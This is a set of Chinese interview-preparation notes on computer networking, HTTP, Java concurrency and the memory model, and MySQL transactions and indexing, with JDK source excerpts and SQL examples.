备战春招

一、计算机网络

1.UDP和TCP

  • 用户数据报协议 UDP(User Datagram Protocol)是无连接的,尽最大可能交付,没有拥塞控制,面向报文(对于应用程序传下来的报文不合并也不拆分,只是添加 UDP 首部),支持一对一、一对多、多对一和多对多的交互通信。

  • 传输控制协议 TCP(Transmission Control Protocol)是面向连接的,提供可靠交付,有流量控制,拥塞控制,提供全双工通信,面向字节流(把应用层传下来的报文看成字节流,把字节流组织成大小不等的数据块),每一条 TCP 连接只能是点对点的(一对一)。

(1)首部格式

  UDP和TCP首部都不带源ip和目的ip地址,是因为它们包含在IP协议中。

  • UDP

  首部字段只有 8 个字节,包括源端口、目的端口、长度、检验和。12 字节的伪首部是为了计算检验和临时添加的。

  • TCP

2.TCP的三次握手和四次挥手

(1)三次握手

假设 A 为客户端,B 为服务器端。

  • 首先 B 处于 LISTEN(监听)状态,等待客户的连接请求。

  • A 向 B 发送连接请求报文,SYN=1,ACK=0,选择一个初始的序号 x。

  • B 收到连接请求报文,如果同意建立连接,则向 A 发送连接确认报文,SYN=1,ACK=1,确认号为 x+1,同时也选择一个初始的序号 y。

  • A 收到 B 的连接确认报文后,还要向 B 发出确认,确认号为 y+1,序号为 x+1。

  • B 收到 A 的确认后,连接建立。

三次握手的原因:

第三次握手是为了防止失效的连接请求到达服务器,让服务器错误打开连接。

客户端发送的连接请求如果在网络中滞留,那么就会隔很长一段时间才能收到服务器端发回的连接确认。客户端等待一个超时重传时间之后,就会重新请求连接。但是这个滞留的连接请求最后还是会到达服务器,如果不进行三次握手,那么服务器就会打开两个连接。如果有第三次握手,客户端会忽略服务器之后发送的对滞留连接请求的连接确认,不进行第三次握手,因此就不会再次打开连接。

(4)四次挥手

以下描述不讨论序号和确认号,因为序号和确认号的规则比较简单。并且不讨论 ACK,因为 ACK 在连接建立之后都为 1。

  • A 发送连接释放报文,FIN=1。

  • B 收到之后发出确认,此时 TCP 属于半关闭状态,B 能向 A 发送数据但是 A 不能向 B 发送数据。

  • 当 B 不再需要连接时,发送连接释放报文,FIN=1。

  • A 收到后发出确认,进入 TIME-WAIT 状态,等待 2 MSL(最大报文存活时间)后释放连接。

  • B 收到 A 的确认后释放连接。

四次挥手的原因

客户端发送了 FIN 连接释放报文之后,服务器收到了这个报文,就进入了 CLOSE-WAIT 状态。这个状态是为了让服务器端发送还未传送完毕的数据,传送完毕之后,服务器会发送 FIN 连接释放报文。

TIME_WAIT

客户端接收到服务器端的 FIN 报文后进入此状态,此时并不是直接进入 CLOSED 状态,还需要等待一个时间计时器设置的时间 2MSL。这么做有两个理由:

  • 确保最后一个确认报文能够到达。如果 B 没收到 A 发送来的确认报文,那么就会重新发送连接释放请求报文,A 等待一段时间就是为了处理这种情况的发生。

  • 等待一段时间是为了让本连接持续时间内所产生的所有报文都从网络中消失,使得下一个新的连接不会出现旧的连接请求报文。

3.TCP 滑动窗口

窗口是缓存的一部分,用来暂时存放字节流。发送方和接收方各有一个窗口,接收方通过 TCP 报文段中的窗口字段告诉发送方自己的窗口大小,发送方根据这个值和其它信息设置自己的窗口大小。

发送窗口内的字节都允许被发送,接收窗口内的字节都允许被接收。如果发送窗口左部的字节已经发送并且收到了确认,那么就将发送窗口向右滑动一定距离,直到左部第一个字节不是已发送并且已确认的状态;接收窗口的滑动类似,接收窗口左部字节已经发送确认并交付主机,就向右滑动接收窗口。

接收窗口只会对窗口内最后一个按序到达的字节进行确认,例如接收窗口已经收到的字节为 {31, 34, 35},其中 {31} 按序到达,而 {34, 35} 就不是,因此只对字节 31 进行确认。发送方得到一个字节的确认之后,就知道这个字节之前的所有字节都已经被接收。

4.TCP 流量控制

流量控制是为了控制发送方发送速率,保证接收方来得及接收。

接收方发送的确认报文中的窗口字段可以用来控制发送方窗口大小,从而影响发送方的发送速率。将窗口字段设置为 0,则发送方不能发送数据。

5.TCP 拥塞控制

如果网络出现拥塞,分组将会丢失,此时发送方会继续重传,从而导致网络拥塞程度更高。因此当出现拥塞时,应当控制发送方的速率。这一点和流量控制很像,但是出发点不同。流量控制是为了让接收方能来得及接收,而拥塞控制是为了降低整个网络的拥塞程度。

TCP 主要通过四个算法来进行拥塞控制:慢开始、拥塞避免、快重传、快恢复。

发送方需要维护一个叫做拥塞窗口(cwnd)的状态变量,注意拥塞窗口与发送方窗口的区别:拥塞窗口只是一个状态变量,实际决定发送方能发送多少数据的是发送方窗口。

为了便于讨论,做如下假设:

  • 接收方有足够大的接收缓存,因此不会发生流量控制;
  • 虽然 TCP 的窗口基于字节,但是这里设窗口的大小单位为报文段。

 

1. 慢开始与拥塞避免

发送的最初执行慢开始,令 cwnd = 1,发送方只能发送 1 个报文段;当收到确认后,将 cwnd 加倍,因此之后发送方能够发送的报文段数量为:2、4、8 ...

注意到慢开始每个轮次都将 cwnd 加倍,这样会让 cwnd 增长速度非常快,从而使得发送方发送的速度增长速度过快,网络拥塞的可能性也就更高。设置一个慢开始门限 ssthresh,当 cwnd >= ssthresh 时,进入拥塞避免,每个轮次只将 cwnd 加 1。

如果出现了超时,则令 ssthresh = cwnd / 2,然后重新执行慢开始。

2. 快重传与快恢复

在接收方,要求每次接收到报文段都应该对最后一个已收到的有序报文段进行确认。例如已经接收到 M1 和 M2,此时收到 M4,应当发送对 M2 的确认。

在发送方,如果收到三个重复确认,那么可以知道下一个报文段丢失,此时执行快重传,立即重传下一个报文段。例如收到三个 M2,则 M3 丢失,立即重传 M3。

在这种情况下,只是丢失个别报文段,而不是网络拥塞。因此执行快恢复,令 ssthresh = cwnd / 2 ,cwnd = ssthresh,注意到此时直接进入拥塞避免。

慢开始和快恢复的快慢指的是 cwnd 的设定值,而不是 cwnd 的增长速率。慢开始 cwnd 设定为 1,而快恢复 cwnd 设定为 ssthresh。

 

6.Web 页面请求过程

访问Web,tcp传输全过程

1. DHCP 配置主机信息

  • 假设主机最开始没有 IP 地址以及其它信息,那么就需要先使用 DHCP 来获取。

  • 主机生成一个 DHCP 请求报文,并将这个报文放入具有目的端口 67 和源端口 68 的 UDP 报文段中。

  • 该报文段则被放入在一个具有广播 IP 目的地址(255.255.255.255) 和源 IP 地址(0.0.0.0)的 IP 数据报中。

  • 该数据报则被放置在 MAC 帧中,该帧具有目的地址 FF:FF:FF:FF:FF:FF,将广播到与交换机连接的所有设备。

  • 连接在交换机的 DHCP 服务器收到广播帧之后,不断地向上分解得到 IP 数据报、UDP 报文段、DHCP 请求报文,之后生成 DHCP ACK 报文,该报文包含以下信息:IP 地址、DNS 服务器的 IP 地址、默认网关路由器的 IP 地址和子网掩码。该报文被放入 UDP 报文段中,UDP 报文段有被放入 IP 数据报中,最后放入 MAC 帧中。

  • 该帧的目的地址是请求主机的 MAC 地址,因为交换机具有自学习能力,之前主机发送了广播帧之后就记录了 MAC 地址到其转发接口的交换表项,因此现在交换机就可以直接知道应该向哪个接口发送该帧。

  • 主机收到该帧后,不断分解得到 DHCP 报文。之后就配置它的 IP 地址、子网掩码和 DNS 服务器的 IP 地址,并在其 IP 转发表中安装默认网关。

2. ARP 解析 MAC 地址

  • 主机通过浏览器生成一个 TCP 套接字,套接字向 HTTP 服务器发送 HTTP 请求。为了生成该套接字,主机需要知道网站的域名对应的 IP 地址。

  • 主机生成一个 DNS 查询报文,该报文具有 53 号端口,因为 DNS 服务器的端口号是 53。

  • 该 DNS 查询报文被放入目的地址为 DNS 服务器 IP 地址的 IP 数据报中。

  • 该 IP 数据报被放入一个以太网帧中,该帧将发送到网关路由器。

  • DHCP 过程只知道网关路由器的 IP 地址,为了获取网关路由器的 MAC 地址,需要使用 ARP 协议。

  • 主机生成一个包含目的地址为网关路由器 IP 地址的 ARP 查询报文,将该 ARP 查询报文放入一个具有广播目的地址(FF:FF:FF:FF:FF:FF)的以太网帧中,并向交换机发送该以太网帧,交换机将该帧转发给所有的连接设备,包括网关路由器。

  • 网关路由器接收到该帧后,不断向上分解得到 ARP 报文,发现其中的 IP 地址与其接口的 IP 地址匹配,因此就发送一个 ARP 回答报文,包含了它的 MAC 地址,发回给主机。

3. DNS 解析域名

  • 知道了网关路由器的 MAC 地址之后,就可以继续 DNS 的解析过程了。

  • 网关路由器接收到包含 DNS 查询报文的以太网帧后,抽取出 IP 数据报,并根据转发表决定该 IP 数据报应该转发的路由器。

  • 因为路由器具有内部网关协议(RIP、OSPF)和外部网关协议(BGP)这两种路由选择协议,因此路由表中已经配置了网关路由器到达 DNS 服务器的路由表项。

  • 到达 DNS 服务器之后,DNS 服务器抽取出 DNS 查询报文,并在 DNS 数据库中查找待解析的域名。

  • 找到 DNS 记录之后,发送 DNS 回答报文,将该回答报文放入 UDP 报文段中,然后放入 IP 数据报中,通过路由器反向转发回网关路由器,并经过以太网交换机到达主机。

4. HTTP 请求页面

  • 有了 HTTP 服务器的 IP 地址之后,主机就能够生成 TCP 套接字,该套接字将用于向 Web 服务器发送 HTTP GET 报文。

  • 在生成 TCP 套接字之前,必须先与 HTTP 服务器进行三次握手来建立连接。生成一个具有目的端口 80 的 TCP SYN 报文段,并向 HTTP 服务器发送该报文段。

  • HTTP 服务器收到该报文段之后,生成 TCP SYN ACK 报文段,发回给主机。

  • 连接建立之后,浏览器生成 HTTP GET 报文,并交付给 HTTP 服务器。

  • HTTP 服务器从 TCP 套接字读取 HTTP GET 报文,生成一个 HTTP 响应报文,将 Web 页面内容放入报文主体中,发回给主机。

  • 浏览器收到 HTTP 响应报文后,抽取出 Web 页面内容,之后进行渲染,显示 Web 页面。

7.CDN

Content Delivery Network(内容分发网络) 。尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节,使内容传输的更快、更稳定。通过在网络各处放置节点服务器所构成的现有的互联网基础之上的一层智能虚拟网络,CDN系统能够实时地根据网络流量和个节点的连接、负载状况以及用户的距离和响应时间等综合信息将用户的请求重新导向离用户最近的服务节点上。

二、HTTP

1.cookie与session的区别,怎样配合使用

Cookie存储在用户浏览器中,Session存储在服务器端,因此Session更加安全。

Cookie只能存储ASCII码字符串,而Session则可以存取任何类型的数据,因此在考虑数据复杂性时首选Session。

配合使用:利用类似redis的内存型数据库,在服务器端通过Session保存登录的用户信息,它的key为SessionID,将SessionID存储在Cookie中。

2.幂等性

幂等的 HTTP 方法,同样的请求被执行一次与连续执行多次的效果是一样的,服务器的状态也是一样的。换句话说就是,幂等方法不应该具有副作用(统计用途除外)。

所有的安全方法也都是幂等的。

安全的HTTP方法不会改变服务器状态,也就是说它只是可读的。

在正确实现的条件下,GET,HEAD,PUT 和 DELETE 等方法都是幂等的,而 POST 方法不是。

GET /pageX HTTP/1.1 是幂等的,连续调用多次,客户端接收到的结果都是一样的:

GET /pageX HTTP/1.1
GET /pageX HTTP/1.1
GET /pageX HTTP/1.1
GET /pageX HTTP/1.1

POST /add_row HTTP/1.1 不是幂等的,如果调用多次,就会增加多行记录:

POST /add_row HTTP/1.1   -> Adds a 1nd row
POST /add_row HTTP/1.1   -> Adds a 2nd row
POST /add_row HTTP/1.1   -> Adds a 3rd row

DELETE /idX/delete HTTP/1.1 是幂等的,即便不同的请求接收到的状态码不一样:

DELETE /idX/delete HTTP/1.1   -> Returns 200 if idX exists
DELETE /idX/delete HTTP/1.1   -> Returns 404 as it just got deleted
DELETE /idX/delete HTTP/1.1   -> Returns 404

 二、Java基础

1.进程与线程的区别

https://www.cnblogs.com/lmule/archive/2010/08/18/1802774.html

2.ThreadLocal

同一个ThreadLocal所包含的对象,在不同的Thread里有不同的副本。

ThreadLocal适用于每个线程需要自己独立的实例且该实例需要在多个方法中被使用,即变量在线程间隔离而在方法和类间被共享。

    /**
     * Returns the value in the current thread's copy of this
     * thread-local variable.  If the variable has no value for the
     * current thread, it is first initialized to the value returned
     * by an invocation of the {@link #initialValue} method.
     *
     * @return the current thread's value of this thread-local
     */
    public T get() {
        Thread t = Thread.currentThread();
        ThreadLocalMap map = getMap(t);
        if (map != null) {
            ThreadLocalMap.Entry e = map.getEntry(this);
            if (e != null) {
                @SuppressWarnings("unchecked")
                T result = (T)e.value;
                return result;
            }
        }
        return setInitialValue();
    }

    /**
     * Sets the current thread's copy of this thread-local variable
     * to the specified value.  Most subclasses will have no need to
     * override this method, relying solely on the {@link #initialValue}
     * method to set the values of thread-locals.
     *
     * @param value the value to be stored in the current thread's copy of
     *        this thread-local.
     */
    public void set(T value) {
        Thread t = Thread.currentThread();
        ThreadLocalMap map = getMap(t);
        if (map != null)
            map.set(this, value);
        else
            createMap(t, value);
    }

http://www.jasongj.com/java/threadlocal/

3.四种引用类型

强引用、软引用、弱引用、虚引用

https://www.jianshu.com/p/147793693edc

 4.volatile

 一旦一个共享变量(类的成员变量、类的静态成员变量)被volatile修饰之后,那么就具备了两层语义:

(1)可见性:保证了不同线程对这个变量进行操作时的可见性,即一个线程修改了某个变量的值,这个新值对其他线程来说是立即可见的。

这里涉及到内存模型,修改一个变量是将其从主存中读取到cpu的高速缓存中,修改完毕之后再将其刷新到主存中。

(2)禁止进行指令重排序。

//x、y为非volatile变量
//flag为volatile变量
 
x = 2;        //语句1
y = 0;        //语句2
flag = true;  //语句3
x = 4;         //语句4
y = -1;       //语句5

  volatile前面的语句在其前必须执行(语句1,2),在后面的语句必须在其后执行(4,5),但是前后的语句执行顺序不能保证(1,2和4,5的执行顺序不能保证)。

volatile不能保证原子性。

 5.Java Util Concurrent

(1)使用线程的三种方法

  • 实现Runnable接口
  • 实现Callable接口
  • 继承Thread类

(2)wait() notify() notifyAll()

它们都属于Object的一部分,而不属于Thread。

调用wait()使得线程被挂起,并且释放锁,直到其他线程满足条件并执行notify()或notifyAll()来唤醒该线程。

(3)wait()和sleep()的区别

  • wait是Object的方法,sleep是Thread的静态方法。
  • wait()会释放锁,sleep()不会。

(4)await() signal() signalAll()

java.util.concurrent类库中提供了Condition类来实现线程之间的协调,可以再Condition上调用await()方法使线程等待,其他线程调用signal()或signalAll()方法唤醒等待的线程。

相比于wait()这种等待方式,await()可以指定等待的条件,因此更加灵活。

(5)AQS

  •  CountDownLatch

用来控制一个线程等待多个线程。

维护了一个计数器cnt,每次调用countDown()方法会让计数器的值减1,减到0的时候,哪些因为调用await()方法而在等待的线程就会被唤醒。

  •  CyclicBarrier

用来控制多个线程相互等待,只有当多个线程都到达时,这些线程才会继续执行。

和CountDownLatch相似,都是通过维护计数器来实现的。线程执行await()方法之后计数器会减1,并进行等待,直到计数器为0,所有调用await()方法而在等待的线程才能继续执行。

  •  Semaphore

Semaphore类似于操作系统中的信号量,可以控制对互斥资源的访问线程数。

6.BIO、NIO、AIO

同步:调用者主动等待这个调用结果。

异步:被通用者通知调用者。

阻塞:调用结果返回之前,当前线程被挂起

非阻塞:调用结果之前,当前线程可以干自己的事

老张爱喝茶,废话不说,煮开水。
出场人物:老张,水壶两把(普通水壶,简称水壶;会响的水壶,简称响水壶)。
1 老张把水壶放到火上,立等水开。(同步阻塞)
老张觉得自己有点傻
2 老张把水壶放到火上,去客厅看电视,时不时去厨房看看水开没有。(同步非阻塞)
老张还是觉得自己有点傻,于是变高端了,买了把会响笛的那种水壶。水开之后,能大声发出嘀~~~~的噪音。
3 老张把响水壶放到火上,立等水开。(异步阻塞)
老张觉得这样傻等意义不大
4 老张把响水壶放到火上,去客厅看电视,水壶响之前不再去看它了,响了再去拿壶。(异步非阻塞)
老张觉得自己聪明了。

所谓同步异步,只是对于水壶而言。
普通水壶,同步;响水壶,异步。
虽然都能干活,但响水壶可以在自己完工之后,提示老张水开了。这是普通水壶所不能及的。
同步只能让调用者去轮询自己(情况2中),造成老张效率的低下。

所谓阻塞非阻塞,仅仅对于老张而言。
立等的老张,阻塞;看电视的老张,非阻塞。
情况1和情况3中老张就是阻塞的,媳妇喊他都不知道。虽然3中响水壶是异步的,可对于立等的老张没有太大的意义。所以一般异步是配合非阻塞使用的,这样才能发挥异步的效用。

BIO(同步阻塞IO):

Socket和ServerSocket的通信方式属于同步阻塞IO。采用BIO通信模型的服务端,通常由一个独立的Acceptor线程负责监听客户端的连接,它接收到客户端请求之后为每个客户端创建一个新的线程进行链路处理,处理完成后,通过输出流返回应答客户端,线程销毁。即典型的已请求一应答模型。

通过使用线程池可以改善这一模式,但是线程池也限制了线程数量,如果发生大量并发请求,超过最大数量的线程就只能等待,知道线程池中有空闲的线程可以被复用。而对于Socket的输入流读取时,就会一直被阻塞。

NIO(非阻塞IO):

Selector会不断轮询注册在其上的Channel,如果某个Channal上面发生读或者写事件,这个Channel就处于就绪状态,会被Selector轮询出来,然后通过SelectionKey可以获取就绪Channel的集合,进行后续的IO操作。

AIO(异步非阻塞IO):

 6.Java内存模型

Java内存模型试图屏蔽各种硬件和操作系统的内存访问差异,以实现让Java程序在各种平台下都能达到一致的内存访问效果。

主内存与工作内存

高速缓存:解决cpu的寄存器读写速度比内存快几个数量级的问题。

带来的新问题:缓存一致性。

所有的变量都存储在主内存中,每个线程还有自己的工作内存,工作内存存储在高速缓存或者寄存器中,保存了该线程使用的变量的主内存副本拷贝。

内存模型的三大特性

1.原子性

Java内存模型保证了read、load、use、assign、store、write、lock和unlock操作具有原子性。

只保证每一个操作具有原子性,但是整个流程合起来并不具有原子性。

如何实现?

  • atomic包(AtomicInteger)
  • synchronized

2.可见性

可见性指当一个线程修改了共享变量的值,其他线程能够立即得知这个修改。Java内存模型是通过在变量修改后将新值同步回主内存,在变量读取前从主内存刷新变量值来实现可见性的。

如何实现?:

  • volatile
  • synchronized,对一个变量执行unlock操作之前,必须把变量值同步回主内存。
  • final

3.有序性

有序性是指:在本线程内观察,所有操作都是有序的。在一个线程观察另一个线程,所有操作都是无序的,无序是因为发生了指令重排序。在Java内存模型中,允许编译器和处理器对指令进行重排序,重排序过程不会影响到单线程程序的执行(因为重排序并不影响程序执行的结果),却影响到多线程并发执行的正确性(一个线程依赖另一个线程中的变量值)。

如何实现?:

  • volatile关键字通过添加内存屏障的方式来禁止指令重排,即重排序时不能把后面的指令放到内存屏障之前。
  • synchronized

先行发生原则(Happens-before)

7.线程安全

多个线程不管以何种方式访问某个类,并且在主调代码中不需要进行同步,都能表现正确的行为。

1.不可变

不可变(Immutable)的对象一定是线程安全的,不需要再采取任何的线程安全保障措施。

不可变的类型:

  • final关键字修饰的基本数据类型
  • String
  • 枚举类型
  • Number 部分子类,如 Long 和 Double 等数值包装类型,BigInteger 和 BigDecimal 等大数据类型。但同为 Number 的原子类 AtomicInteger 和 AtomicLong 则是可变的。

2.互斥同步

Synchronized和ReentrantLock

3.非阻塞同步

互斥同步最主要的问题就是线程阻塞和唤醒带来的性能问题,因此这种同步也成为阻塞同步。

互斥同步属于一种悲观的并发策略,总是认为只要不去做正确的同步措施,那就肯定会出现问题。无论共享数据是否真的会出现竞争,它都要进行加锁。

(1)CAS

随着硬件指令集的发展,我们可以使用基于冲突检测的乐观并发策略:先进行操作,如果没有其他线程争用共享数据,那操作就成功了,否则采取补偿措施(不断地重试,知道成功为止)。这种乐观的并发策略的许多实现都不需要将线程阻塞,因此这种同步操作成为非阻塞同步。

乐观锁需要操作和冲突检测这两个步骤具备原子性,这里就不能再使用互斥同步来保证了,只能靠硬件来完成。硬件支持的原子性操作最典型的是:比较并交换(Compare-and-Swap,CAS)。CAS指令需要有3个操作数,分别是内存地址V、旧的预期值A和新值B。当执行操作时,只有当V的值等于A,才将V的值更新为B。

(2) AtomicInteger

J.U.C 包里面的整数原子类 AtomicInteger 的方法调用了 Unsafe 类的 CAS 操作。

以下代码使用了 AtomicInteger 执行了自增的操作。

private AtomicInteger cnt = new AtomicInteger();

public void add() {
    cnt.incrementAndGet();
}

以下代码是 incrementAndGet() 的源码,它调用了 Unsafe 的 getAndAddInt() 。

public final int incrementAndGet() {
    return unsafe.getAndAddInt(this, valueOffset, 1) + 1;
}

以下代码是 getAndAddInt() 源码,var1 指示对象内存地址,var2 指示该字段相对对象内存地址的偏移,var4 指示操作需要加的数值,这里为 1。通过 getIntVolatile(var1, var2) 得到旧的预期值,通过调用 compareAndSwapInt() 来进行 CAS 比较,如果该字段内存地址中的值等于 var5,那么就更新内存地址为 var1+var2 的变量为 var5+var4。

可以看到 getAndAddInt() 在一个循环中进行,发生冲突的做法是不断的进行重试。

public final int getAndAddInt(Object var1, long var2, int var4) {
    int var5;
    do {
        var5 = this.getIntVolatile(var1, var2);
    } while(!this.compareAndSwapInt(var1, var2, var5, var5 + var4));

    return var5;
}

(3)ABA

如果一个变量初次读取的时候是 A 值,它的值被改成了 B,后来又被改回为 A,那 CAS 操作就会误认为它从来没有被改变过。

J.U.C 包提供了一个带有标记的原子引用类 AtomicStampedReference 来解决这个问题,它可以通过控制变量值的版本来保证 CAS 的正确性。大部分情况下 ABA 问题不会影响程序并发的正确性,如果需要解决 ABA 问题,改用传统的互斥同步可能会比原子类更高效。

4.无同步方案

(1)栈封闭

多个线程访问同一个方法的局部变量时,不会出现线程安全问题,因为局部变量存储再虚拟机栈中,属于线程私有的。

(2)ThreadLocal

(3)可重入代码(Reentrant Code)

 8.锁优化

 JVM对synchronized的优化

1.自旋锁

自旋锁的思想是让一个线程在请求一个共享数据的锁时执行忙循环(自旋)一段时间,如果在这段时间内能获得锁,就可以避免进入阻塞状态。

2.锁消除

锁消除是指对于被检测出不可能存在竞争的共享数据的锁进行消除。

 3.锁粗化

如果虚拟机探测到有这样的一串零碎的操作都对同一个对象加锁,将会把加锁的范围扩展(粗化)到 整个操作序列的外部。

 4.轻量级锁

当尝试获取一个锁对象时,虚拟机在当前线程的虚拟机栈中创建Lock Record,然后使用CAS将对象的Mark Word更新为Lock Record指针。如果CAS成功了,那么线程就获取了对象上的锁,并且将对象的Mark Word的锁标记变为00,表示该对象处于轻量级锁状态。

 如果CAS失败,虚拟机首先会检查对象的Mark Word是否指向当前线程的虚拟机栈,如果是的化说明当前线程已经拥有了这个锁对象,那就可以直接进入同步块继续执行,否则说明这个锁对象已经被其他线程抢占了。如果有两条以上的线程争用同一个锁,那轻量级锁就不再有效,要膨胀为重量级锁。

 5.偏向锁

 偏向锁的思想是偏向于第一个获取锁对象的线程,这个线程在之后获取该锁就不再需要进行同步操作,甚至连CAS操作也不再需要。当有另外一个线程去尝试获取这个锁对象时,偏向状态就宣告结束,此时撤销偏向(Revoke Bias)后恢复到未锁定状态或者轻量级锁状态。

 三、数据库

1.事务

事务指的是满足ACID特性的一组操作,可以通过Commit提交一个事务,也可以使用Rollback进行回滚。

2.ACID

A(Atomicity):原子性。事务被视为不可分割的最小单元,事务的所有操作要么全部提交成功,要么全部失败回滚。

C(Consistency):一致性。数据库事务不能破坏关系数据的完整性以及业务逻辑上的一致性。例如对银行转账事务,不管事务成功还是失败,应该保证事务结束后存款总额不变。

I(Isolation):隔离性。各个事务之间不会互相影响,数据库一般会提供多种级别的隔离。

D(Durability):持久性。一旦一个事务成功了,其所作的修改将会永远保存到数据库中,即使系统发生崩溃,事务执行的结果也不能丢失。

 AUTOCOMMIT

MySQL默认采用自动提交模式。也就是说,如果不显示使用START TRANSACTION语句来开始一个事务,那么每个查询都会被当作一个事务自动提交。

 2.并发一致性问题

(1)丢失修改

两个线程同时修改同一个数据,造成修改的丢失。

(2)读脏数据

T1修改一个数据,T2随后读取这个数据。如果T1撤销了这次修改,那么T2读取的数据是脏数据。

(3)不可重复读

T2读取一个数据,T1对该数据做了修改。如果T2再次读取这个数据,此时读取的结果和第一次读取的结果不同。(这个是指记录的数据的修改)

(4)幻影读

T1读取某个范围的数据,T2在这个范围内插入新的数据,T1再次读取这个范围的数据,此时读取的结果和第一此读取的结果不同。(这个是指条数的增减)

 产生并发不一致问题主要原因是破坏了事务的隔离性(在单线程中,事务的隔离性一定满足),解决办法是通过并发控制来保证隔离性。并发控制可以通过封锁来实现,但是封锁操作需要用户自己控制,相当复杂。数据库管理系统提供了事务的隔离级别,让用户以一种更轻松的方式处理并发一致性问题。

 3.隔离级别

对于隔离性来说,有四种隔离级别。

(1)READ UNCOMMITED

事务中的修改,即使没有提交,对其他事务也是可见的。

(2)READ COMMITED

一个事务只能读取已经提交的事务所作的修改。

(3)REPEATABLE READ

避免不可重复读。一个事务中多次查询结果是一致的,即使在这过程中别的事务已经修改了数据并且已经提交。

(4)SERIALIZABLE

强制事务串行执行。

隔离级别 脏读 不可重复读 幻影读 加锁读
未提交读 ×
提交读 × ×
可重复读 × × ×
可串行化 × × ×

4.关系数据库设计理论

(1)函数依赖

记A->B表示A函数决定B,也可以说B函数依赖于A。

对于A->B,如果能找到A的真子集A',使得A'->B,那么A->B就是部分函数依赖,否则就是完全函数依赖。

对于A->B,B->C,则A->C是一个传递函数依赖。

(2)范式

1)第一范式(1NF)

属性不可分。

2)第二范式(2NF)

每个非主属性完全函数依赖于键码。

3)第三范式(3NF)

非主属性不传递函数依赖于键码。

5.SQL

(1)连接

  • 内连接
  • 自连接(提供连接的列)
  • 自然连接(自然连接所有同名列)
  • 外连接(保留了没有关联的那些行)
    • 左外连接
    • 右外连接
    • 全外连接

 6.mysql

(1)索引

MySQL基本存储结构是页(记录都存在页里边)。

  • 各个数据页可以组成一个双向链表
  • 而每个数据页中的记录又可以组成一个单向链表
    • 每个数据页都会为存储在其里面的记录生成一个页目录,通过主键查找某条记录的时候可以在页目录中使用二分法快速定位到对应的槽,然后再遍历该槽对应分组中的记录即可快速找到指定的记录。
    • 以非主键作为搜索条件,只能从记录开始依次遍历单链表中的每条记录。

执行未经过优化的SQL语句 SELECT * FROM user WHERE username = 'XXX' 的执行过程:

  • 定位记录的页:遍历双向链表,找到所在的页。
  • 从所在的页中查找相应的记录:由于不是根据主键查询,只能遍历所在页的记录的单链表。

 1)索引为什么能提高检索速度

 原理:让无序的数据变成有序(相对)

 

 没有使用索引时,我们需要遍历双向链表,现在我们通过B+树很快的找到对应页。

 2)索引为什么会降低增删改的速度

B+树索引底层使用的是B+树,既然使用B+树用来维护索引,那么增删改肯定会破坏B+树原有的结构。要维持B+树,就必须做额外的操作。正因为这些额外的工作开销,导致索引会降低增删改的速度。

 3)哈希索引

哈希索引就是采用一定的哈希算法,把键值换算成新的哈希值,检索时不需要像B+树索引那样从根节点到叶子节点逐级查找,只需要一次哈希算法即可立刻定位到相应的位置,速度非常快。

 局限性:

  • 哈希索引没有办法利用索引完成排序
  • 不支持最左匹配原则
  • 在有大量重复键值情况下,哈希碰撞
  • 不支持范围查询

 4)InnoDB支持哈希索引吗?

InnoDB 存储引擎有一个特殊的功能叫“自适应哈希索引”,当某个索引值被使用的非常频繁时,会在 B+Tree 索引之上再创建一个哈希索引,这样就让 B+Tree 索引具有哈希索引的一些优点,比如快速的哈希查找。

5)聚集和非聚集索引

  • 聚集索引就是以主键创建的索引
  • 非聚集索引就是以非主键创建的索引

区别:

  • 聚集索引在叶子结点存储的是表中的数据
  • 非聚集索引在叶子结点存储的是主键和索引列
  • 使用非聚集索引查询出数据时,拿到叶子上的主键再去查到想要查找的数据。(拿到主键再查找这个过程叫做回表)

非聚集索引也叫二级索引。

非聚集索引在建立的时候也未必是单列的,可以多个列来创建索引。

  • 此时就涉及到了哪个列会走索引,哪个列不走索引的问题了(最左匹配原则)
  • 创建多个单例(非聚集)索引的时候,会生成多个索引树(所以过多创建索引会占用磁盘空间)

在创建多列索引中也涉及到了一种特殊的索引-->覆盖索引

  • 我们前面知道了,如果不是聚集索引,叶子结点存储的是主键+列值
  • 最终还是要”回表“,也就是要通过主键再查找一次。这样就会比较慢。
  • 覆盖索引就是要查询出的列和索引是对应的,不做回表操作。

比如说:

  • 现在我创建了索引(username,age),在查询数据的时候:select username , age from user where username = 'Java3y' and age = 20
  • 很明显地知道,我们上边的查询是走索引的,并且,要查询出的列在叶子节点都存在!所以,就不用回表了
  • 所以,能使用覆盖索引就尽量使用吧~

6)索引最左匹配原则

最左匹配原则:

  • 索引可以简单如一个列(a),也可以复杂如多个列(a,b,c,d),即联合索引。
  • 如果是联合索引,那么key也由多个列组成,同时,索引只能用于查找key是否存在(相等),遇到范围查询(>、<、between、like)等就不能进一步匹配了,后续退化为线性查找。
  • 因此,列的排列顺序决定了可命中索引的列数。

例子:

  • 如果索引(a,b,c,d),查询条件 a = 1 and b = 2 and c > 3 and d = 4,则会在每个节点依次命中a、b、c,无法命中d。(索引命中了c之后,由于c是范围查询,不能进一步匹配了,退化为线性查找)

不需要考虑=、in等的顺序,mysql会自动优化这些条件的顺序,以匹配尽可能多的索引列。

例子:

  • 如有索引(a, b, c, d),查询条件c > 3 and b = 2 and a = 1 and d < 4a = 1 and c > 3 and b = 2 and d < 4等顺序都是可以的,MySQL会自动优化为a = 1 and b = 2 and c > 3 and d < 4,依次命中a、b、c。
7)总结:

索引在数据库中是一个非常重要的知识点!上面谈的其实就是索引最基本的东西,要创建出好的索引要顾及到很多的方面:

  • 1,最左前缀匹配原则。这是非常重要、非常重要、非常重要(重要的事情说三遍)的原则,MySQL会一直向右匹配直到遇到范围查询(>,<,BETWEEN,LIKE)就停止匹配。
  • 3,尽量选择区分度高的列作为索引,区分度的公式是 COUNT(DISTINCT col) / COUNT(*)。表示字段不重复的比率,比率越大我们扫描的记录数就越少。
  • 4,索引列不能参与计算,尽量保持列“干净”。比如,FROM_UNIXTIME(create_time) = '2016-06-06' 就不能使用索引,原因很简单,B+树中存储的都是数据表中的字段值,但是进行检索时,需要把所有元素都应用函数才能比较,显然这样的代价太大。所以语句要写成 : create_time = UNIX_TIMESTAMP('2016-06-06')
  • 5,尽可能的扩展索引,不要新建立索引。比如表中已经有了a的索引,现在要加(a,b)的索引,那么只需要修改原来的索引即可。
  • 6,单个多列组合索引和多个单列索引的检索查询效果不同,因为在执行SQL时,MySQL只能使用一个索引,会从多个单列索引中选择一个限制最为严格的索引。

 (2)InnoDB和MyISAM的区别

  • 事务:InnoDB是事务型的,可以使用Commit和Rollback语句。
